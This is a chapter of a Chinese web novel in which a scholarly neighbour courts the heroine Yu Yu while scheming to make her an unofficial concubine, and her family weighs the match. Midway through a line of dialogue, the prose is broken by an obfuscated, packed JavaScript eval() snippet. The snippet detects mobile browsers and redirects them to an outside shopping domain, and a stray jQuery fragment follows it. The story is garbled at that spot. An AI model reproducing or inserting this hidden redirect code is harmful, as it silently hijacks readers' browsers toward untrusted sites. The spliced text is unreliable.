俞羽盯了半天,迟疑道:“啊……?给我的?”
好端端地送她东西干嘛?难道是感谢她昨天帮忙找到了耳环?
那看来这家人也挺好的,昨天的事兴许是个误会。
俞羽瞬间就把之前的不爽抛到了脑后。她大大方方地伸手接了过来:“谢谢啊,我回去一定会都吃完的。”
施崇文见她收下,眼底划过一丝笑意,正欲再说几句话,却见俞羽忽然一拍脑门:“你等等啊!”
她转身跑进院子,很快又抱着一个小油纸包跑回来,塞给施崇文。
“……这是?”施崇文有些惊讶。
“这是我弟弟做的酥饼,里面有豆沙馅料,很好吃的!”俞羽特意强调,“就是那个长得特别好看的弟弟做的!”
她一说起谢燕回就没完没了,滔滔不绝地夸他有多心灵手巧。
施崇文听得嘴角微抽,但很快又换上了一副笑脸:“第一次见到一个姐姐这么夸自己弟弟,俞姑娘与令弟的感情,真是好得令人艳羡。”
俞羽愣了一下,紧接着露出骄傲的神情:“是啊,我们感情很好的。”
施崇文目光在她脸上停留片刻,语气带着几分羡慕:“说实话,我真是羡慕令弟。我家只我一个独子,从小身边也没个知冷知热的姑娘。若是我能有俞姑娘这样一位……‘姐姐’,那该多好。所以乍见姑娘,便觉得十分亲切。”
他刻意咬重了“姐姐”二字,眼神欲语还休,带着一点若有若无的期许。
“哦?”俞羽若有所思。
施崇文笑容更盛。
俞羽思考片刻,眼睛一亮:“你早说嘛,你想体验一下当弟弟的感觉,这好办啊。”
“……啊?”
“你可以当我小弟嘛!”俞羽认真道,“我以前在村子里可是孩子王,有很多小弟的。你不是想当弟弟吗?那当我小弟,我就是你大姐了。怎么样,要不要叫声羽姐听听?”
施崇文:“……”
他正想说“我不是这个意思”,就在这时,只听一个清冷的声音在不远处响起。
“羽儿姐。”
俞羽转过头,只见谢燕回不知何时站在了院门口。他随意披着件月白色的单衣,鸦羽般的长发未束,松松散散地垂落。
那双狭长清透的眸子,此刻正冷冷地盯着他们。
“你在和谁说话?”
施崇文看见他,连忙转开话题:“啊,你是俞姑娘的二弟弟吧?昨天见过的,我正夸你们姐弟情深……”
“我不是她弟弟。”谢燕回打断了他。
俞羽和施崇文都是一怔。
谢燕回走到俞羽身侧,眼睛直直地看向施崇文。
“我不过是借住于此的远房亲戚。虽口头以姐弟相称,但……并无半点血缘关系。”
俞羽心里“咯噔”一下。
她不明白谢燕回为何忽然说起这个。这里又没人认识他们,他干嘛要澄清这个?他强调“并无血缘”又是什么意思?难道……他不想和她扯上关系?
施崇文眯了眯眼:“哦,原来是这样啊。我还以为你们是亲姐弟呢。”
他忽然话锋一转:“不过,既然毫无血缘,那一个外男与未出阁的姑娘同住一个院子,未免……有伤风化。郑娘子这般安排,怕是不妥吧?”
嘿!这人怎么说话呢?
俞羽顿时火冒三丈:“这有什么的?那些什么大户人家不也是这样吗?什么表哥表妹的,直接就借住在府里,那也没人说闲话啊!又不是住一个屋里,躺一张床上,那有什么的?”
况且外人不知道,她还不知道吗?谢燕回是她货真价实的亲弟弟。至于邱撤……那货的确和她没血缘,但他在她眼里也不算个男人。
况且她自己压根没打算嫁人,守着那些清规戒律做什么?
她理直气壮地说完,谢燕回垂眸看了她一眼。
施崇文被她这粗糙的话震住,半天后才干笑道:“哈哈,也是,也是。是我不会说话,俞姑娘别生气。”不过他嘴上告饶,眼神却依然黏在俞羽因为生气而越发生动的眉眼上。
“羽儿姐,”谢燕回忽然道,“回屋。我该教你写字了。”
“哦,好。”俞羽转身就走。
谢燕回落后她半步。在转身的瞬间,他微微侧过头,居高临下地看了施崇文一眼。
那一眼不知为何,让施崇文脊背莫名一僵。
等他反应过来,谢燕回已经走过去了。
……
施崇文一进屋,杨娘子便从里屋出来问道:“怎么的?又去找隔壁那小丫头了?”
“乡野女子,原以为都是些粗俗之人,没想到还有这么漂亮的。儿子在镇上这么多年,都未曾见过如此美貌的女子。”
杨娘子脸色一沉:“色字头上一把刀!你眼看就要下场科考了,要是考中去了京城,什么样的名门淑女娶不到?”
“可是,娘。儿子日夜苦读,也缺个红袖添香的人啊。”施崇文道,“若是身边有此可心人,那儿子读书也能更有冲劲。”
“你日后若是高中,去了京城,有的是家世显赫的好女子。现在若是早早娶妻纳妾生了子,怕是会耽误了高门婚配。”
施崇文嘴角勾起一抹意味深长的笑:“谁说要给她名分了?儿子只要先得了她的心意,让她死心塌地地来咱家伺候笔墨。等生米煮成熟饭,收在房里做个没名分的通房,谁能说出个错字?她那两个弟弟都极有才华,将来若是高中,她成了官家的姐姐,我再给她个名分也不迟。”
杨娘子一听这话,顿时眼睛一亮。
“还是我儿思考得周全,那就这么办!”
只是……
施崇文想起了刚才谢燕回的那个眼神,总觉得此人极其古怪,对俞羽的心思,似乎也不简单。
……
这几天晚上,俞羽都雷打不动地去谢燕回屋里读书。
虽然谢燕回教着教着,她就开始走神,屁股也像长了钉子一样坐不住,但她现在已经能看懂大半的诗句了。
这天夜里,俞羽百无聊赖地趴在案桌上,看着对面垂眸静读的谢燕回,忽然想起了之前的事。
“对了,我一直想问你,你的暗器是跟谁学的?”
谢燕回翻书的手未停:“爹给我请的师傅教的。”
俞羽不信:“那老混蛋……竟然还会给你请师傅?”
“嗯,一开始他对我还算上心,希望我能像他一样习得一身武功,征战沙场。便给我找了教习师傅。”他顿了顿,语气淡淡,“但我并不想学什么谋略,因为没有人管我,所以我常被其他孩子欺负。为了防身自保,我便私下里让教头教了我暗器。”
“那照顾你的嬷嬷呢,她也不管你吗?”
“嬷嬷?她也对我并无感情。”谢燕回终于抬起头,那双漂亮的眸子里流露出一丝嘲讽,“我不过是一个上不得台面的私生子,对我好,对我坏,有区别吗?也许她一直都知道我的处境,只是从不过问、从不阻拦,任由我自生自灭罢了。”
俞羽听了,一时哑口无言。
可怜的小回。
为了保护自己,只能悄悄去学旁人瞧不上的阴诡暗器。而他也真是聪明,竟然真的把暗器练到了大成的地步。
但俞羽并不觉得用暗器就是阴暗卑劣。许多江湖中人也都会使用暗器。暗器,主打的就是一个出其不意,的确是保命的最佳手段。
她轻轻叹了口气,眼底满是疼惜:“难怪你暗器用得这么厉害,原来都是……被逼出来的。这些年,真是苦了你了。”
谢燕回转头看着她,顺势问出了那个问题:“那你的重剑……也是爹教你的?”
“当然不是。”
“嗯?”
“是……”她顿了顿,眼神闪烁了一下,含糊其辞道,“是我认的师父教我的。”
说到这里,她就忽然闭上了嘴,不再往下说了。
谢燕回立刻就察觉到了她的异常。
俞羽这个人,只要给她递过去一个话题,她就能从盘古开天辟地一直说到现在。可怎么一提到这个所谓的“师父”,居然学会了三缄其口?
况且,俞羽身边有什么人,他自认查得一清二楚。可现在,凭空冒出了一个师父。
最近突然向俞羽献殷勤的施崇文、那个从来没露过面的师父……谢燕回只感觉从前俞羽在他眼里就是一枚棋子,可现在这枚棋子,越来越不受他的控制。
哪怕这只是一颗被他捏在手心里的棋子——他也绝不允许棋子身上,有他看不透的秘密。
谢燕回脸色冷了下来。
…………
最近,俞羽觉得有点不对劲。
她感觉自己和隔壁那个施崇文偶遇的次数,越来越多了。
同样都是在私塾读书,谢燕回和邱撤每天都忙得脚不沾地。偏偏这个施崇文就这么闲,每次都能让她在各种意想不到的地方碰着他。
俞羽对他谈不上讨厌,但也不喜欢。
对她来说,大多数文人身上都带着一种自视甚高的优越感。邱撤因为太贱,所以这种感觉不明显;谢燕回其实也有清高感,但他的清高,不是那种趾高气昂的优越,而是一种把所有人都当成死物的漠然。
不过俞羽觉得,谢燕回天生就该是这样高不可攀的模样,因为他跟别人本来就不一样。可这个施崇文算个什么东西?
这天傍晚,俞羽刚从肉铺拎着半扇排骨回来,果不其然,又在巷子口撞见了施崇文。
“俞姑娘。”
施崇文叫住她,上下打量了她一番,由衷地赞叹道:“好巧,又遇见了。”
“挺巧。”
“你今日可真漂亮,这发辫扎得极衬你,显得你很美。”
有病。
但对着一个半生不熟的人,她也不好意思胡说八道,只是干笑了两声:“哈哈哈哈,也可能是在镇上待久了,捂白了些。”
说着,她就要走。
“等等。”施崇文忽然往前跨了一步,挡住了她的去路。
“怎么了?”
“你这辫子上的花,歪了。”
“哪儿?”俞羽低头刚要看。
忽然,那施崇文抬起手,朝她的耳畔伸了过去
俞羽下意识地就往后退了一大步,警惕地道:“你干嘛?”
这人有病吧?才见过多少次面就敢动手动脚?
因为她自己就经常搞破坏,所以她也习惯用同样的心思去揣测别人。她现在严重怀疑这人就是看她不顺眼,想故意把她的辫子给扯散!
施崇文似乎看出了她的防备,笑了一下,说:“我没别的意思,俞姑娘别误会,就是想帮你把花扶正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787178|208176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一下。”
“谢谢啊。不过你这毛手毛脚的,万一给我辫子碰乱了怎么办?我今天可是扎了好久的呢。”
施崇文:“……”
就在这时,身后忽然传来邱撤的声音:
“姐?”
俞羽回过头,正看见谢燕回和邱撤从巷子那头走过来。
“你们回来了?”
“嗯,下学后问了先生几个问题,耽误了些时间。”邱撤说着,目光看向施崇文,“施兄,你今日回来得倒早。”
施崇文也笑了一下:“是,我不如邱兄和谢兄好学。”
他话音未落,谢燕回忽然不紧不慢地走到了俞羽身侧。
“怎么了?”俞羽见他目光深沉地盯着自己,不解地问。
谢燕回没说话。
他微微侧过身,抬起手,修长苍白的指尖轻轻拂过俞羽的耳畔。手指穿过她鬓边的碎发,顺着那根发辫一路摸索下去,最后在那朵歪斜的野花上停住,将其妥帖地别好。
俞羽还记得谢燕回编辫子的手法有多好,便也不躲,老老实实任他整理。
谢燕回的指腹在她的发梢上似有若无地流连了一瞬,最后落在她的头顶,安抚小动物似的,轻轻揉了一把。
“走,回去了。”
施崇文站在原地,脸上的笑容渐渐收敛。
谢燕回转身时,那双清冷的黑眸漫不经心地从施崇文脸上掠过。
那眼神里的不屑与蔑视,实在是太过明显。
施崇文不由捏紧了手,脸色阴沉下来。
……
晚上吃饭的时候,邱撤的眼神一直贼溜溜地在俞羽身上打转,还时不时傻笑两声,瘆人得很。
俞羽本来想当没看见,可这人的目光实在太烦人。她实在是受不了了,抬起头,没好气地说:“有病?吃饱了就赶紧下去,别占着茅坑不拉屎!”
一旁的郑允慈:“……”
她无奈道:“你能不能吃饭时好好说话?”
邱撤非但不恼,却扑哧扑哧笑得更欢了。
俞羽被他恶心得不行,把碗一放:“我吃饱了,先回屋了啊。”
说着,她看了一眼谢燕回,示意她先去看书了。他俩现在还每天晚上补习呢,不过这事没让郑允慈知道,怕郑允慈又她没事叨扰谢燕回。
等俞羽的背影消失在门口,郑允慈才狐疑地看向邱撤:“你刚才老看你姐干嘛?你姐干什么事了?”
邱撤贼兮兮地笑:“娘,您放心。这次可不是什么坏事,说不定还是个喜事呢!”
“喜事?”
一旁,谢燕回拿筷子的手微微一顿。
邱撤压低身音道:“娘,您还记得隔壁邻居那对孤儿寡母吧?那个男的也是个童生,听说学问很不错。”
“记得,好像叫什么……施……施崇文?”
“对!就是他!这人挺有天赋的,除了回哥和我,学堂里就数他表现最好了。”
“然后呢?和小羽有什么关系?”
“关系大着呢,我发现他最近老找我姐!你猜傍晚我和回哥看见啥了?施崇文那小子正想给我姐戴花呢!两个人站在一起,看着还挺配的。这一个月,他每次下学都着急忙慌地往回赶,我没少见他跟我姐打招呼,还给我姐送东西。”
郑允慈惊讶道:“真有此事?可小羽从来没跟我说过啊。”
“她能说就怪了!以我姐那个木头脑袋,怕是根本就没反应过来人家对她有意思。不过他长得挺好,人看着还谦虚,要是能考个功名,也算得上是一个良婿啊。”
郑允慈沉吟了片刻,道:“他家我倒是听说过。他父亲去世得早,但听说他爷爷也曾是个小官,门第还算不错……这事儿还得看小羽自己的心思。当初俞家二老临终前,我是立过誓的。除非小羽遇到个真心实意喜欢,又确实知根知底的良人,否则就算一辈子不嫁,我养着她,任她想干什么就干什么,也好过嫁人受苦。”
邱撤点头:“也是。我就是随口一说嘛。只是觉得之前爱慕姐的人都是些普通人,如今遇到个品貌兼优的,说不定她就喜欢了呢。”
从头到尾,谢燕回都安静地坐在一旁,像是什么都没听见。
过了半晌,他忽然开口:“可那位杨娘子,似乎有些不好相与。”
郑允慈和邱撤同时看向他。
谢燕回停顿了一下,似乎是在斟酌用词:“上次和杨娘子说话,她似乎很在意自己儿子的功名,对我们极尽笼舍,百般嘱托我们好好照顾她儿子。但对羽儿姐……她却视如无睹,态度淡淡的。”
郑允慈可是个人精,一听这话,立刻明白了他的意思。
“你的意思是,她刻意巴结你们,却对小羽冷脸相待?那这人家绝对不能要!”
“娘,为什么啊?”邱撤不解。
“有些寡妇没了丈夫,便把儿子当成自己的命根子,甚至会将儿子当成自己丈夫的替身,终身的依靠。这种人家养出来的儿子,八成是个软骨头的窝囊废。而那以后的儿媳妇,在她眼里,就是个来抢夺她儿子的仇人!小羽要是嫁进这种人家,不得被那老虔婆生吞活剥了?”
郑允慈又看向谢燕回,欣慰道:“小回,还是你见识明白,会为小羽考虑。”
谢燕回垂下眸,面色淡淡。
“我只是想羽儿姐能觅得良人。”